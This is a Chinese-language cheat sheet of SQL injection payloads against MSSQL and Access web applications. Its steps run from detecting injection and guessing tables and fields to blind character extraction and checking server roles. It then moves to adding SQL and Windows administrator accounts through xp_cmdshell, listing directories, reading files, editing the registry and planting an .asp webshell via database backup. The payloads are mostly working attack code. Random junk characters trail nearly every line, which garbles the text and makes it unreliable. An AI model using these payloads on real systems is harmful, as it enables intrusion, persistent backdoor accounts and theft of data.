1.判断是否有注入;and 1=1 ;and 1=2 a|jZg
2.初步判断是否是mssql ;and user>0 p{}4#+-<#H
|#sOa
3.注入参数是字符'and [查询条件] and ''=' lh[?`+A
uaz!ze+
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 4Us_Z{.
L^r & .N\
5.判断数据库系统 @mmnr?_w
Bhv$
;and (select count(*) from sysobjects)>0 mssql R8_I ASs
,ryL("G
;and (select count(*) from msysobjects)>0 access uovv">Uw
RWGf]V]6
!-.GfI:q
Io|Du
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ""Da2Md
IrMB=pWo
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 6i2%EC9
.r2*tB).
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 X6",Xr!{
&!OEd]
9.(1)猜字段的ascii值(access) Xjkg7p,HD@
&w#!
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 t&:L?K)j
~MBPN4r
(2)猜字段的ascii值(mssql) DU0/if9.
NcP/W>lN
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 :aK?Dt Z
,zltNbu\.(
10.测试权限结构(mssql) pF4Z4?W
<S041KF.{6
==& y9e
IHYLM;@L
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ATl?./T u
Z*q9vX
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- m3gv %h
KWZhCS?[(
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- W3:Fw6v
aL( hWE
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- sl `jovT[Y
qD4]7"9
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Jsysk $R
Y.\x.Hg
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ;~EQS.Qp
NS~;{d\
;and 1=(select IS_MEMBER('db_owner'));-- 1|(Q|
+yp:douERi
.VCY|KZ
\3$!) z
11.添加mssql和系统的帐户 /{\ /e"5
b,E ?{uG
;exec master.dbo.sp_addlogin username;-- 0RT 8N=B83
;exec master.dbo.sp_password null,username,password;-- #cu{AdK
y%SxQA+\
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- s*ZE`/SM3
G
aV&y
;exec master.dbo.xp_cmdshell 'net user username password )1uiY
f&k
S^eem_C
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- z# ^fS
|
(?fU l$q\
;exec master.dbo.xp_cmdshell 'net user username password /add';-- YV<y-,Io
gSz<K.CT
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- LE\=Y;%
lh8QtPe
X0VSa{
h0'*)`;z
12.(1)遍历目录 .eR1\IAm
m&:&z7^p
;create table dirs(paths varchar(100), id int) R}ki%i5|
Io1j%T#ZT
;insert dirs exec master.dbo.xp_dirtree 'c:\' :&IHdf0+
Vxh39eW
;and (select top 1 paths from dirs)>0 QB*,+u4
"' JnFM
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) j
uA@"SG
RdYmh>c
;
oyV8P$
y9r4]45
(2)遍历目录 "m K`3</G
`tk oS
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- J~m$7T3Af
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 HwUaaK
BJj'91B[d
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 rwRZGd *p
Q$E.G63Wl
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
W,xdj! ^t
(?jK|_
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 1dQAo1
)9YDNVo*-
@dWA1tM
b^/u9
13.mssql中的存储过程 &C9IR,&
C/k#gLF`
xp_regenumvalues 注册表根键, 子键 6}^x#9\
J,=K1>8s
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 -9b=-K.y
=Z\q``RBy
xp_regread 根键,子键,键值名 JW
D`}
>w3C
Ku<
;exec xp_regread zg2d}"dV
!j6k]BgZ
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Tn7Mt7 h
o?baiOkH
xp_regwrite 根键,子键, 值名, 值类型, 值 G\sx'#Whc
JHxcHh
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 >z<L 60S
.I`>F/Sjr
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 *~PB
La ?A@SD
xp_regdeletevalue 根键,子键,值名 56pj(}eq
V IzIl\<aM
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 6tH}K
{!I`EN]
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 .\b.l@O<Z
fbApE
6()Jx%
h% -=8l,
14.mssql的backup创建webshell *).
AROHe
use model >!fTWdD^
[vu;B4^"
create table cmd(str image); =v3o)lU
E2zL-ft.
insert into cmd(str) values (''); }9ulHiR
ug%7}&
backup database model to disk='c:\l.asp'; [r2V+b.C
6nA9r5Ghv
Jq^[^
#?Ix6 {R
15.mssql内置函数 )a^&7
ub?dfS9$_
;and (select @@version)>0 获得Windows的版本号 mU[\//
R*6TS"aL
;and user_name()='dbo' 判断当前系统的连接用户是不是sa <SE-:T]sBz
IR"C?
;and (select user_name())>0 爆当前系统的连接用户 FO>?>tK 0
gPn0-)<
;and (select db_name())>0 得到当前连接的数据库 2z;nPup,
_#~D{91
j:
1Ne;U/
5B%KiE&p
16.简洁的webshell %0&,_jM/9
[Vbdsu9
use model ,L%]}8EL"
d\-*Fmp(S
create table cmd(str image); J[}j8x?r
c{kpgN
insert into cmd(str) values (''); hvI#D>Z!Yp
0=+feB1T
backup database model to disk='g:\wwwtest\l.asp';